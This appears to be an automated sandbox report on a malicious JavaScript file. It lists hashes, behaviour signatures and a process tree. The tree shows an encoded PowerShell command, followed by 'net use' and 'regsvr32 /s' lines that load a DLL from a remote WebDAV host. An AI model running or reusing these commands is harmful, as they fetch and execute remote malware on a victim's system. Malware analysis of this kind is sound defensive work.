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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 21:32

General

  • Target

    502716055140392384.js

  • Size

    20KB

  • MD5

    927927346fa85e55133460eedf7a3568

  • SHA1

    fe8de12947d1e42128dd9134cdd88801d935cd8f

  • SHA256

    242ca228c87d089a24eb4e44f280e117fbb9a73ee0f54d3f2148265c820c062c

  • SHA512

    0084c6a70fb32c0ce56f0209a07803bc0cab3cbb4dec41d97b1ed7f8b09552528693b71861919ea7176c2a12b612255a6062909c66d65f6836db727b71884354

  • SSDEEP

    384:c9vkYXovBrTfrV00jCK8DR/OvYzXQF7aubKnOq6TMOGlbUgHbUOpyq12Si/kVSff:Q4dWLTVPEbIsw/e/80l/e/8X

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\502716055140392384.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAOAA5ADkAMgAzADYANQAwADEAMQA4ADEANAAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:1904
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\38992365011814.dll
          3⤵
            PID:2968

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eoqtnren.uwp.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2072-0-0x00007FFB1E2C3000-0x00007FFB1E2C5000-memory.dmp

        Filesize

        8KB

      • memory/2072-10-0x000001D3F68E0000-0x000001D3F6902000-memory.dmp

        Filesize

        136KB

      • memory/2072-11-0x00007FFB1E2C0000-0x00007FFB1ED81000-memory.dmp

        Filesize

        10.8MB

      • memory/2072-12-0x00007FFB1E2C0000-0x00007FFB1ED81000-memory.dmp

        Filesize

        10.8MB

      • memory/2072-15-0x00007FFB1E2C0000-0x00007FFB1ED81000-memory.dmp

        Filesize

        10.8MB